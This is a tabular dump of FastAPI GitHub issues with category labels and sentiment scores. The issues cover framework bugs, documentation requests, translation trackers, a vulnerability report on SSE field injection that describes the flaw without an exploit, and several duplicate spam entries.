tiangolo/fastapi,4118738370,FastAPI + Starlette 1.0.0: Jinja2 TemplateResponse raises 'unhashable type: dict',"## Description

After upgrading to Starlette 1.0.0, FastAPI applications using Jinja2 templates fail with:

```
TypeError: cannot use 'tuple' as a dict key (unhashable type: 'dict')
```

at `jinja2/utils.py`, line 515.

## Environment

- FastAPI 0.135.1
- Starlette 1.0.0
- Jinja2 3.1.6
- Tested on Python 3.12 and 3.14 (issue reproduced on both)

## Steps to reproduce

1. Install `fastapi==0.135.1` with `starlette==1.0.0`
2. Create a route that returns a `Jinja2Templates.TemplateResponse`
3. Any template render raises the error above

## Workaround

Pin `starlette<1.0.0` in `requirements.txt`.

## Notes

This appears to be related to breaking changes in Starlette 1.0.0's `TemplateResponse` signature. FastAPI may need to update how it passes context to Jinja2 templates for Starlette 1.0.0 compatibility.

Detected in production during a routine deployment where pip resolved Starlette 1.0.0 instead of 0.52.x.",,2026-03-23 07:06:28+00:00,2026-03-23 07:54:02+00:00,0,nan,0.033,fastapi starlette jinja templateresponse raises unhashable type dict description after upgrading to starlette fastapi applications using jinja templates fail with at line environment fastapi starlette jinja tested on python and issue reproduced on both install with create a route that returns a any template render raises the error above workaround pin in notes this appears to be related to breaking changes in starlette s signature fastapi may need to update how it passes context to jinja templates for starlette compatibility detected in production during a routine deployment where pip resolved starlette instead of x,others,-0.4939
tiangolo/fastapi,4112805369,Bug: SSE protocol injection via unvalidated event and id fields in format_sse_event(),"**Severity:** Low (framework-level), Medium/High in affected applications
**CWE:** CWE-116: Improper Encoding for Output in a Different Plaintext Context
**OWASP:** A03:2021: Injection
**Affected version:** FastAPI 0.135.1 (master, commit `2742546af`)
**Affected file:** `fastapi/sse.py` (FastAPI-owned code, not Starlette)
**Fix PR:** #15187
**Discovered:** 2026-03-20

---

## What's happening

`format_sse_event()` builds SSE wire-format bytes by directly interpolating the `event` and `id` fields into output lines without stripping or rejecting newline characters. If either field contains a `\n` or `\r\n`, it injects an extra SSE field-line into the stream. The browser's `EventSource` parser has no way to tell injected lines from real ones, so it treats them as valid protocol fields.

The `data` and `comment` fields in the same function are already handled safely with `splitlines()`. The omission for `event` and `id` looks like an oversight rather than a deliberate choice.

---

## Background: the SSE wire format

SSE is a plain-text streaming protocol from the [HTML Living Standard §9.2](https://html.spec.whatwg.org/multipage/server-sent-events.html). Each event is a sequence of `field: value` lines separated by blank lines:

```
event: message\n
id: 42\n
data: {""text"": ""hello""}\n
\n
```

The newline is the entire field separator. There is no quoting, no escaping, no length prefix. The parser reads byte-by-byte and splits on `\n` and `\r\n`. A newline inside a value is struct... [TRUNCATED]",,2026-03-21 15:09:30+00:00,2026-03-22 08:17:00+00:00,2,nan,0.7135,sse protocol injection via unvalidated event and id fields in format sse event severity low framework level medium high in affected applications cwe cwe improper encoding for output in a different plaintext context owasp a injection affected version fastapi master commit affected file fastapi owned code not starlette fix pr discovered what s happening builds sse wire format bytes by directly interpolating the and fields into output lines without stripping or rejecting newline characters if either field contains a or it injects an extra sse field line into the stream the browser s parser has no way to tell injected lines from real ones so it treats them as valid protocol fields the and fields in the same function are already handled safely with the omission for and looks like an oversight rather than a deliberate choice background the sse wire format sse is a plain text streaming protocol from the html living standard each event is a sequence of lines separated by blank lines the newline is the entire field separator there is no quoting no escaping no length prefix the parser reads byte by byte and splits on and a newline inside a value is struct truncated,bug,-0.2095
tiangolo/fastapi,4089847705,"I had similar issue, solved like this:","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I had similar issue, solved like this:",,2026-03-17 16:55:44+00:00,2026-03-17 17:19:18+00:00,0,nan,0.0164,i had similar issue solved like this privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i had similar issue solved like this,bug,0.9042
tiangolo/fastapi,4076716509,🌐 Urdu (اردو) Documentation Translation — Review Tracker,"## 🌐 Urdu (اردو) Documentation Translation — Review Tracker

This issue tracks the review progress for the complete Urdu documentation translation added in #15117.

### 📖 Preview the docs

👉 **[Preview Urdu Docs](https://d914cf26.fastapitiangolo.pages.dev/ur/)**

### 🤝 How to help review

This is a **collaborative review effort** — you don't need to review everything! Pick one or a few pages, review them, and check them off. This way the workload is distributed across multiple reviewers.

**Review guidelines:**
- Check the translation for accuracy and natural Urdu flow
- Ensure technical terms are kept in English (as per the [translation prompt](https://github.com/fastapi/fastapi/blob/feat/urdu-docs-translation/docs/ur/llm-prompt.md))
- Verify code blocks and links are intact
- Comment on the PR with any corrections needed, referencing the file path
- Once a page looks good, check it off below

---

### Pages to Review

#### Root Pages
- [ ] [index.md](https://d914cf26.fastapitiangolo.pages.dev/ur/) — مرکزی صفحہ (Landing Page)
- [ ] [features.md](https://d914cf26.fastapitiangolo.pages.dev/ur/features/) — خصوصیات
- [ ] [python-types.md](https://d914cf26.fastapitiangolo.pages.dev/ur/python-types/) — Python Types
- [ ] [async.md](https://d914cf26.fastapitiangolo.pages.dev/ur/async/) — Async / Concurrency
- [ ] [benchmarks.md](https://d914cf26.fastapitiangolo.pages.dev/ur/benchmarks/) — بینچ مارکس
- [ ] [alternatives.md](https://d914cf26.fastapitiangolo.pages.dev/ur/alternatives/... [TRUNCATED]",,2026-03-14 20:57:02+00:00,2026-03-14 21:04:54+00:00,1,nan,0.0055,urdu documentation translation review tracker urdu documentation translation review tracker this issue tracks the review progress for the complete urdu documentation translation added in preview the docs preview urdu docs how to help review this is a collaborative review effort you don t need to review everything pick one or a few pages review them and check them off this way the workload is distributed across multiple reviewers review guidelines check the translation for accuracy and natural urdu flow ensure technical terms are kept in english as per the translation prompt verify code blocks and links are intact comment on the pr with any corrections needed referencing the file path once a page looks good check it off below pages to review root pages index md landing page features md python types md python types async md async concurrency benchmarks md alternatives md truncated,documentation,0.9081
tiangolo/fastapi,4074828103,Injected BackgroundTasks silently discarded when Response has its own background,"### Description

When an endpoint uses both dependency-injected `BackgroundTasks` and returns a `Response` object that already has its own `background` attribute set, the injected background tasks are silently discarded. This causes tasks to disappear without any error, warning, or indication of what went wrong, which can lead to very hard-to-debug issues in production.

### Example

```python
from fastapi import FastAPI, BackgroundTasks
from starlette.responses import Response
from starlette.background import BackgroundTask

app = FastAPI()

@app.get(""/"")
async def endpoint(tasks: BackgroundTasks):
    tasks.add_task(lambda: print(""This will NOT be printed""))
    return Response(
        content=""Custom response"",
        background=BackgroundTask(lambda: print(""Only this will be printed"")),
    )
```

In this case, `tasks.add_task(...)` silently does nothing because the returned `Response` already has a `background` and FastAPI does not attach the injected tasks.

### Current behavior

The dependency-injected `BackgroundTasks` are silently dropped with no warning or error.

### Expected behavior

At minimum, a `UserWarning` should be emitted so the developer knows their injected background tasks are being discarded. The warning message should explain how to resolve the conflict.

### Root cause

In `fastapi/routing.py`, the request handler checks `raw_response.background is None` before attaching the injected tasks. If the response already has a background, the injected tas... [TRUNCATED]",,2026-03-14 06:11:27+00:00,2026-03-14 06:35:04+00:00,0,nan,0.0164,injected backgroundtasks silently discarded when response has its own background description when an endpoint uses both dependency injected and returns a object that already has its own attribute set the injected background tasks are silently discarded this causes tasks to disappear without any error warning or indication of what went wrong which can lead to very hard to debug issues in production example in this case silently does nothing because the returned already has a and fastapi does not attach the injected tasks current behavior the dependency injected are silently dropped with no warning or error at minimum a should be emitted so the developer knows their injected background tasks are being discarded the warning message should explain how to resolve the conflict root cause in the request handler checks before attaching the injected tasks if the response already has a background the injected tas truncated,others,-0.7118
tiangolo/fastapi,4050391079,Docs: No guidance on Pandas DataFrame serialization — numpy types cause JSON errors,"## Summary

The `encoder.md` tutorial covers `jsonable_encoder` for Pydantic models and Python `datetime` objects, but does not mention **Pandas DataFrames** — a very common data source in FastAPI apps (ML pipelines, analytics APIs, data science backends).

## The Problem

When returning data from a Pandas DataFrame using `.to_dict(orient=""records"")`, columns retain **NumPy types** (`numpy.int64`, `numpy.float64`, `numpy.nan`, `pandas.NaT`). These are **not natively JSON serializable**, causing runtime errors:

```
TypeError: Object of type int64 is not JSON serializable
```

Or silently producing invalid JSON with `NaN` values (not valid JSON spec).

## Minimal Reproduction

```python
from fastapi import FastAPI
import pandas as pd

app = FastAPI()

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({
        ""count"": [1, 2, 3],        # numpy.int64
        ""score"": [1.5, float(""nan""), 3.0],  # numpy.float64 + NaN
    })
    return df.to_dict(orient=""records"")  # 💥 NaN breaks JSON, int64 may fail
```

## Expected

Docs should show the safe pattern for returning Pandas DataFrames:

```python
from fastapi.encoders import jsonable_encoder

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({...})
    # ✅ Converts numpy types + handles NaT/NaN -> null
    return jsonable_encoder(df.to_dict(orient=""records""))
```

Or alternatively using pandas native JSON serialization:

```python
import json

@app.get(""/data"")
def get_data():
    df = pd.DataFrame({...})
    # ✅ pandas... [TRUNCATED]",,2026-03-10 09:01:47+00:00,2026-03-10 09:10:37+00:00,0,nan,0.0061,docs no guidance on pandas dataframe serialization numpy types cause json errors summary the tutorial covers for pydantic models and python objects but does not mention pandas dataframes a very common data source in fastapi apps ml pipelines analytics apis data science backends the problem when returning data from a pandas dataframe using columns retain numpy types these are not natively json serializable causing runtime errors or silently producing invalid json with values not valid json spec expected docs should show the safe pattern for returning pandas dataframes or alternatively using pandas native json serialization python import json app get data def get data df pd dataframe pandas truncated,bug,-0.1406
tiangolo/fastapi,4022804520,Add .cursorrules file to help Cursor IDE users follow FastAPI conventions,"## Proposal: Add a `.cursorrules` file for Cursor IDE contributors

Hi\! I noticed the FastAPI repo does not have a `.cursorrules` file. FastAPI is hugely popular and many contributors use [Cursor IDE](https://cursor.sh). A `.cursorrules` file tells Cursor's AI assistant about the project's conventions, helping contributors write matching code from the start.

### What `.cursorrules` does

It instructs Cursor's AI to follow your project's:
- Coding style and naming conventions
- Architectural patterns (dependency injection, Pydantic models, etc.)
- Testing approach
- Common patterns to follow and pitfalls to avoid

For FastAPI specifically this is valuable since Pydantic v2 + async patterns have non-obvious conventions new contributors often get wrong.

### What I'd suggest

A `.cursorrules` for this repo could cover:
- Pydantic v2 model patterns (`model_config = ConfigDict(...)`, validators)
- `Depends()` injection patterns
- Async-first with `asyncio.gather()` for concurrent operations
- `pytest` + `httpx.AsyncClient` testing patterns
- Strict type annotation conventions (no implicit `Any`)

I maintain an open-source collection at https://github.com/survivorforge/cursor-rules that includes a [python-fastapi rules file](https://github.com/survivorforge/cursor-rules/tree/main/rules/python-fastapi) that could serve as a starting point.

### Options

1. **I can submit a PR** with a `.cursorrules` tailored to FastAPI's codebase conventions
2. **You can adapt** the [python-fastap... [TRUNCATED]",,2026-03-04 16:08:33+00:00,2026-03-04 16:14:52+00:00,0,nan,0.0044,add cursorrules file to help cursor ide users follow fastapi conventions proposal add a file for cursor ide contributors hi i noticed the fastapi repo does not have a file fastapi is hugely popular and many contributors use cursor ide a file tells cursor s ai assistant about the project s conventions helping contributors write matching code from the start what does it instructs cursor s ai to follow your project s coding style and naming conventions architectural patterns dependency injection pydantic models etc testing approach common patterns to follow and pitfalls to avoid for fastapi specifically this is valuable since pydantic v async patterns have non obvious conventions new contributors often get wrong what i d suggest a for this repo could cover pydantic v model patterns validators injection patterns async first with for concurrent operations testing patterns strict type annotation conventions no implicit i maintain an open source collection at that includes a python fastapi rules file that could serve as a starting point options i can submit a pr with a tailored to fastapi s codebase conventions you can adapt the python fastap truncated,help,0.5563
tiangolo/fastapi,3989804639,Consider speciesist language in documentation,"## Summary

While reviewing the FastAPI codebase and documentation for inclusive language, I identified several instances of terminology that could be updated to use more inclusive, non-speciesist alternatives. This aligns with broader industry trends toward inclusive language (similar to efforts around master/main, blacklist/allowlist, etc.).

## Findings

### 1. Blacklist / Whitelist in fastapi/param_functions.py (14 instances)

The docstrings for validation_alias and serialization_alias parameters across all parameter functions (Path, Query, Header, Cookie, Body, Form, File) use the terms Whitelist validation step and Blacklist validation step.

Example (lines 62, 71):

\
Suggested alternatives: Allowlist / Denylist (or Inclusion / Exclusion)

### 2. monkey patching in fastapi/dependencies/utils.py (line 575)

\
This is a widely-used technical term with origins rooted in animal exploitation metaphors. The alternative runtime patching is equally clear and more descriptive of what actually happens.

Suggested alternative: runtime patching

### 3. Default branch name master

The repository still uses master as its default branch. While not speciesist per se, this is related to the broader inclusive language conversation. GitHub's own default changed to main in 2020, and many major projects (including Python, Django, Redis, and others) have already made this transition.

Suggested alternative: main

This would also affect approximately 15+ hardcoded references to master in doc... [TRUNCATED]",,2026-02-25 14:27:41+00:00,2026-02-25 14:59:54+00:00,0,nan,0.0224,consider speciesist language in documentation summary while reviewing the fastapi codebase and documentation for inclusive language i identified several instances of terminology that could be updated to use more inclusive non speciesist alternatives this aligns with broader industry trends toward inclusive language similar to efforts around master main blacklist allowlist etc findings blacklist whitelist in fastapi param functions py instances the docstrings for validation alias and serialization alias parameters across all parameter functions path query header cookie body form file use the terms whitelist validation step and blacklist validation step example lines suggested alternatives allowlist denylist or inclusion exclusion monkey patching in fastapi dependencies utils py line this is a widely used technical term with origins rooted in animal exploitation metaphors the alternative runtime patching is equally clear and more descriptive of what actually happens suggested alternative runtime patching default branch name master the repository still uses master as its default branch while not speciesist per se this is related to the broader inclusive language conversation github s own default changed to main in and many major projects including python django redis and others have already made this transition suggested alternative main this would also affect approximately hardcoded references to master in doc truncated,documentation,0.1027
tiangolo/fastapi,3989674797,Consider speciesist language in documentation,"## Summary

While reviewing the FastAPI codebase and documentation for inclusive language, I identified several instances of terminology that could be updated to use more inclusive, non-speciesist alternatives. This aligns with broader industry trends toward inclusive language (similar to efforts around master/main, blacklist/allowlist, etc.).

## Findings

### 1. `Blacklist` / `Whitelist` in `fastapi/param_functions.py` (14 instances)

The docstrings for `validation_alias` and `serialization_alias` parameters across all parameter functions (`Path`, `Query`, `Header`, `Cookie`, `Body`, `Form`, `File`) use the terms `'Whitelist' validation step` and `'Blacklist' validation step`.

**Example** (lines 62, 71):

```python
validation_alias: Annotated[
    str | AliasPath | AliasChoices | None,
    Doc(
        """"""
        'Whitelist' validation step. The parameter field will be the single one
        allowed by the alias or set of aliases defined.
        """"""
    ),
] = None,
serialization_alias: Annotated[
    str | None,
    Doc(
        """"""
        'Blacklist' validation step. The vanilla parameter field will be the
        single one of the alias' or set of aliases' fields and all the other
        fields will be ignored at serialization time.
        """"""
    ),
] = None,
```

**Suggested alternatives:** `'Allowlist'` / `'Denylist'` (or `'Inclusion'` / `'Exclusion'`)

### 2. `monkey patching` in `fastapi/dependencies/utils.py` (line 575)

... [TRUNCATED]",,2026-02-25 14:03:43+00:00,2026-02-25 15:00:12+00:00,0,nan,0.0392,consider speciesist language in documentation summary while reviewing the fastapi codebase and documentation for inclusive language i identified several instances of terminology that could be updated to use more inclusive non speciesist alternatives this aligns with broader industry trends toward inclusive language similar to efforts around master main blacklist allowlist etc findings in instances the docstrings for and parameters across all parameter functions use the terms and example lines suggested alternatives or in line truncated,documentation,0.0
tiangolo/fastapi,3983459047,I'm @tiangolo or he asked me directly to create an issue here.,,,2026-02-24 12:31:26+00:00,2026-02-24 12:33:11+00:00,0,nan,0.0012,i m tiangolo or he asked me directly to create an issue here,bug,0.2732
tiangolo/fastapi,3983457051,Dependency keeps going after response returns when there exists any backgroud tasks.,"### Privileged issue

- [ ] #14989

### Issue Content

```python
import asyncio

from fastapi import Depends, BackgroundTasks, FastAPI
from fastapi.responses import PlainTextResponse


app = FastAPI()

async def dep():
    yield
    print(""dep done"")

async def task():
    await asyncio.sleep(5)
    print(""task done"")

@app.get(""/test"", response_class=PlainTextResponse, tags=[""test""], dependencies=[Depends(dep)])
async def test(bk: BackgroundTasks):
    bk.add_task(task)
    return ""OK""
```

When access test endpoint, Both fastapi 0.128.0 and 0.133.0 have this behavior:

1. Response returns
2. print ""dep done""
3. print ""task done"".

But in fastapi 0.115.12:

1. print ""dep done""
2. Response returns
3. print ""task done"".

When the dependency is a database transaction, transaction is not committed after response returns, data changes are not accessable before backgroud tasks completion.",,2026-02-24 12:31:01+00:00,2026-02-24 13:35:41+00:00,0,nan,0.0449,dependency keeps going after response returns when there exists any backgroud tasks privileged issue issue content when access test endpoint both fastapi and have this behavior response returns print dep done print task done but in fastapi print dep done response returns print task done when the dependency is a database transaction transaction is not committed after response returns data changes are not accessable before backgroud tasks completion,others,-0.0698
tiangolo/fastapi,3921890079,Bug with complex fields (`list[str]`) inside `BaseModel`,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Summary
When ""complex"" (e.g., `list[str]`) field is definied inside `BaseModel`, it doesn't get parsed.

## MRE1
### Summary
Example when ""complex"" field defined in `BaseModel` doesn't get parsed.

#### Code
```python
from typing import Annotated
import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

class MyParams(BaseModel):
    size: Annotated[int | None, Query()] = None
    field: Annotated[list[str] | None, Query()] = None

app = FastAPI()

@app.get(""/items"")
async def get_items(
    params: Annotated[MyParams, Depends()],
) -> None:
    print(""params: "", params)

if __name__ == ""__main__"":
    uvicorn.run(app, host=""127.0.0.1"", port=8000)
```

#### Request:
```bash
curl --location 'localhost:8000/items?size=100&field=foo&field=bar'
```

#### Expected:
```text
params:  size=100 field=foo,bar
INFO:     127.0.0.1:54972 - ""GET /items?size=100&field=foo&field=bar HTTP/1.1"" 200 OK
```

#### Actual:
```text
params:  size=100 field=None
INFO:     127.0.0.1:54972 - ""GET /items?size=100&field=foo&field=bar HTTP/1.1"" 200 OK
```

## MRE2
### Summary
Example when ""complex"" field is moved from `BaseModel` to a separate attribute and gets parsed.

#### Code
```python
from typing import Annotated
import uvicorn
from fastapi import Depends, FastAPI, Query
from pydantic import BaseModel

class MyParams(BaseModel):
    size: Annotated[int | ... [TRUNCATED]",,2026-02-10 14:47:36+00:00,2026-02-10 14:57:18+00:00,2,nan,0.0067,bug with complex fields inside privileged issue x i m tiangolo or he asked me directly to create an issue here issue content summary when complex e g field is definied inside it doesn t get parsed mre summary example when complex field defined in doesn t get parsed code request expected actual mre summary example when complex field is moved from to a separate attribute and gets parsed code python from typing import annotated import uvicorn from fastapi import depends fastapi query from pydantic import basemodel class myparams basemodel size annotated int truncated,bug,0.25
tiangolo/fastapi,3894082048,estoque ses,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

_No response_",,2026-02-04 01:43:34+00:00,2026-02-04 06:04:33+00:00,1,nan,0.1812,estoque ses privileged issue x i m tiangolo or he asked me directly to create an issue here issue content no response,others,0.4215
tiangolo/fastapi,3876021502,Add Arabic (العربية) documentation translation,"### Description

FastAPI currently supports translations in 13 languages (de, en, es, fr, ja, ko, pt, ru, tr, uk, zh, zh-hant), but Arabic (العربية) is not yet available.

Arabic is spoken by over 400 million people and is widely used in the growing tech communities across the Middle East and North Africa (MENA region). Many Arabic-speaking developers use FastAPI in production, and having documentation in Arabic would significantly lower the barrier to entry.

### What I'd like to contribute

I'd like to start an Arabic translation following the [Contributing to translations](https://fastapi.tiangolo.com/contributing/#translations) guide. I would begin with:

1. `docs/ar/docs/index.md` (landing page)
2. `docs/ar/docs/tutorial/first-steps.md` (getting started)
3. `docs/ar/docs/tutorial/path-params.md` (path parameters)

### Notes

- Arabic is an RTL (right-to-left) language, which may require some CSS/layout considerations in the MkDocs theme
- I'm a native Arabic speaker and active FastAPI user (using it in a healthcare RAG application)
- Happy to coordinate with other Arabic-speaking contributors

Would love to get approval before starting work on this. Thanks! 🚀",,2026-01-30 14:43:11+00:00,2026-01-30 14:52:30+00:00,0,nan,0.0065,add arabic documentation translation description fastapi currently supports translations in languages de en es fr ja ko pt ru tr uk zh zh hant but arabic is not yet available arabic is spoken by over million people and is widely used in the growing tech communities across the middle east and north africa mena region many arabic speaking developers use fastapi in production and having documentation in arabic would significantly lower the barrier to entry what i d like to contribute i d like to start an arabic translation following the contributing to translations guide i would begin with landing page getting started path parameters notes arabic is an rtl right to left language which may require some css layout considerations in the mkdocs theme i m a native arabic speaker and active fastapi user using it in a healthcare rag application happy to coordinate with other arabic speaking contributors would love to get approval before starting work on this thanks,documentation,0.9847
tiangolo/fastapi,3798488176,StreamingResponse doc example needs correction,"[`StreamingResponse` docs](https://fastapi.tiangolo.com/advanced/custom-response/?h=responses#streamingresponse) state:

> Takes an async generator or a normal generator/iterator

However based on https://github.com/Kludex/starlette/discussions/1776#discussioncomment-3207518 `async` generetors need something `await`ed to work:

```py
import asyncio
from time import sleep
from fastapi import FastAPI
from fastapi.responses import StreamingResponse

app = FastAPI()

async def fake_video_streamer():
    for i in range(10):
        sleep(0.1)
        yield b""some fake video bytes""
        # await asyncio.sleep(0)  # <-- uncomment to fix example

@app.get(""/"")
async def main():
    """"""
    this is as per
    https://fastapi.tiangolo.com/advanced/custom-response/?h=responses#streamingresponse
    but does not to work (blocks for 1 sec, then returns all chunks at once):
      curl -sNo- localhost:8000
      wget -qO- localhost:8000
    """"""
    return StreamingResponse(fake_video_streamer())
```

- `uvicorn==0.40.0`
- `fastapi==0.128.0`",,2026-01-09 22:08:41+00:00,2026-02-27 19:12:47+00:00,4,nan,48.8778,streamingresponse doc example needs correction docs state takes an async generator or a normal generator iterator however based on generetors need something ed to work,documentation,0.0
tiangolo/fastapi,3720193758,"Discriminated Unions Break When Wrapped in Annotated[Union, Body(...)] in FastAPI 0.124.1+","
### Discussed in https://github.com/fastapi/fastapi/discussions/14495

<div type='discussions-op-text'>

<sup>Originally posted by **atlasale** December 11, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, Union
from pydantic import BaseModel, Tag, Discriminator
from fastapi import FastAPI, Body

class Cat(BaseModel):
    pet_type: str = ""cat""
    meows: int

class Dog(BaseModel):
    pet_type: str = ""dog""
    barks: float

def get_pet_type(v):
    if isinstance(v, dict):
        return v.get(""pet_type"", """")
    return getattr(v, ""pet_type"", """")

# Define discriminated union
Pet = Annotated[
    Union[
        Annotated[Cat, Tag(""cat"")],
        ... [TRUNCATED]",bug,2025-12-11 16:55:18+00:00,2025-12-12 14:35:09+00:00,1,bug,0.9027,discriminated unions break when wrapped in annotated union body in fastapi discussed in originally posted by atlasale december first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import annotated union from pydantic import basemodel tag discriminator from fastapi import fastapi body class cat basemodel pet type str cat meows int class dog basemodel pet type str dog barks float def get pet type v if isinstance v dict return v get pet type return getattr v pet type define discriminated union pet annotated union annotated cat tag cat truncated,bug,0.9136
tiangolo/fastapi,3718720376,Performance issue,Slow response under load,,2025-12-11 10:14:58+00:00,2025-12-11 10:54:18+00:00,0,nan,0.0273,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718716716,Performance issue,Slow response under load,,2025-12-11 10:14:05+00:00,2025-12-11 10:54:29+00:00,0,nan,0.0281,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718712871,Performance issue,Slow response under load,,2025-12-11 10:13:16+00:00,2025-12-11 10:55:37+00:00,0,nan,0.0294,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718696203,Performance issue,Slow response under load,,2025-12-11 10:09:18+00:00,2025-12-11 10:55:47+00:00,0,nan,0.0323,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718693990,Performance issue,Slow response under load,,2025-12-11 10:08:46+00:00,2025-12-11 10:56:10+00:00,0,nan,0.0329,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718690460,Performance issue,Slow response under load,,2025-12-11 10:07:52+00:00,2025-12-11 10:54:07+00:00,0,nan,0.0321,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718685407,Performance issue,Slow response under load,,2025-12-11 10:06:31+00:00,2025-12-11 10:10:40+00:00,0,nan,0.0029,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718670781,Performance issue,Slow response under load,,2025-12-11 10:02:17+00:00,2025-12-11 10:05:47+00:00,1,nan,0.0024,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718666596,Performance issue,Slow response under load,,2025-12-11 10:01:03+00:00,2025-12-11 10:05:02+00:00,0,nan,0.0028,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3718662877,Performance issue,Slow response under load,,2025-12-11 10:00:01+00:00,2025-12-11 10:04:55+00:00,0,nan,0.0034,performance issue slow response under load,bug,-0.4588
tiangolo/fastapi,3714874558,"In FastAPI 0.123.7, annotations from code imported in `if TYPE_CHECKING` could break","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

In FastAPI 0.123.7, annotations from code imported in `if TYPE_CHECKING` could break

Originally discussed in https://github.com/fastapi/fastapi/discussions/14464 and https://github.com/fastapi/fastapi/pull/11355

Minimal example extracted from the discussion:

```Python
# /// script
# requires-python = ""==3.14.*""
# dependencies = [
#   ""fastapi==0.123.7"",
#   ""uvicorn"",
# ]
# ///

from __future__ import annotations

from typing import TYPE_CHECKING, Annotated

from fastapi import Depends, FastAPI

if TYPE_CHECKING:
    from collections.abc import AsyncGenerator

app = FastAPI()


class DummyClient:
    async def get_people(self) -> list:
        return [""John Doe"", ""Jane Doe""]

    async def close(self) -> None: ...


async def get_client() -> AsyncGenerator[DummyClient, None]:
    client = DummyClient()
    yield client
    await client.close()


Client = Annotated[DummyClient, Depends(get_client)]


@app.get(""/"")
async def get_people(client: Client) -> list:
    return await client.get_people()


if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(app, host=""0.0.0.0"", port=8000)
```

Handled in https://github.com/fastapi/fastapi/pull/14485",bug,2025-12-10 11:53:19+00:00,2025-12-10 12:12:15+00:00,1,bug,0.0131,in fastapi annotations from code imported in could break privileged issue x i m tiangolo or he asked me directly to create an issue here issue content in fastapi annotations from code imported in could break originally discussed in and minimal example extracted from the discussion handled in,bug,0.6124
tiangolo/fastapi,3714411600,"Since FastAPI 0.119.0, using `arbitrary_types_allowed=True` with custom types that define their serialization and JSON Schema breaks when generating OpenAPI","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Using `arbitrary_types_allowed=True` with custom types that define their serialization and JSON Schema breaks when generating OpenAPI.

Originally reported in: https://github.com/fastapi/fastapi/discussions/14184

Extracting the minimal reproducible example from the comments:

```Python
from typing import Annotated

import numpy as np
from fastapi import FastAPI
from pydantic import BaseModel, ConfigDict, WithJsonSchema, TypeAdapter

type MyNumpyArray = Annotated[
    np.ndarray, WithJsonSchema(TypeAdapter(list[float]).json_schema(), mode=""serialization""),
]


class MyModel(BaseModel):
    model_config = ConfigDict(arbitrary_types_allowed=True)
    custom_field: MyNumpyArray

app = FastAPI()

@app.get(""/"")
def test() -> MyModel:
    raise NotImplementedError()

print(app.openapi())
# {'openapi': '3.1.0', 'info': {'title': 'FastAPI', 'version': '0.1.0'}, 'paths': {'/': {'get': {'summary': 'Test', 'operationId': 'test__get', 'responses': {'200': {'description': 'Successful Response', 'content': {'application/json': {'schema': {'$ref': '#/components/schemas/MyModel'}}}}}}}}, 'components': {'schemas': {'MyModel': {'properties': {'custom_field': {'$ref': '#/components/schemas/MyNumpyArray'}}, 'type': 'object', 'required': ['custom_field'], 'title': 'MyModel'}, 'MyNumpyArray': {'items': {'type': 'number'}, 'type': 'array'}}}}
```

Should be solved by: https://github.com/fa... [TRUNCATED]",bug,2025-12-10 09:47:16+00:00,2025-12-10 10:40:30+00:00,1,bug,0.037,since fastapi using with custom types that define their serialization and json schema breaks when generating openapi privileged issue x i m tiangolo or he asked me directly to create an issue here issue content using with custom types that define their serialization and json schema breaks when generating openapi originally reported in extracting the minimal reproducible example from the comments should be solved by truncated,bug,0.7269
tiangolo/fastapi,3700382637,Bug with async callable class dependency in fastapi>=0.123.6,"Creating the issue for completeness.

Solved by https://github.com/fastapi/fastapi/pull/14458

### Discussed in https://github.com/fastapi/fastapi/discussions/14452

<div type='discussions-op-text'>

<sup>Originally posted by **tanguyMichardiere** December  4, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import Depends, FastAPI
from fastapi.dependencies.models import Dependant
from uvicorn import run


class Dependency:
    def __init__(self):
        print(""init"")

    async def __call__(self):
        print(""call"")


print(Dependant(Dependency).is_coroutine_callable)
# `True` with fastapi>=0.123.6
# `False` with fastapi<0.123.6

app = FastAPI()


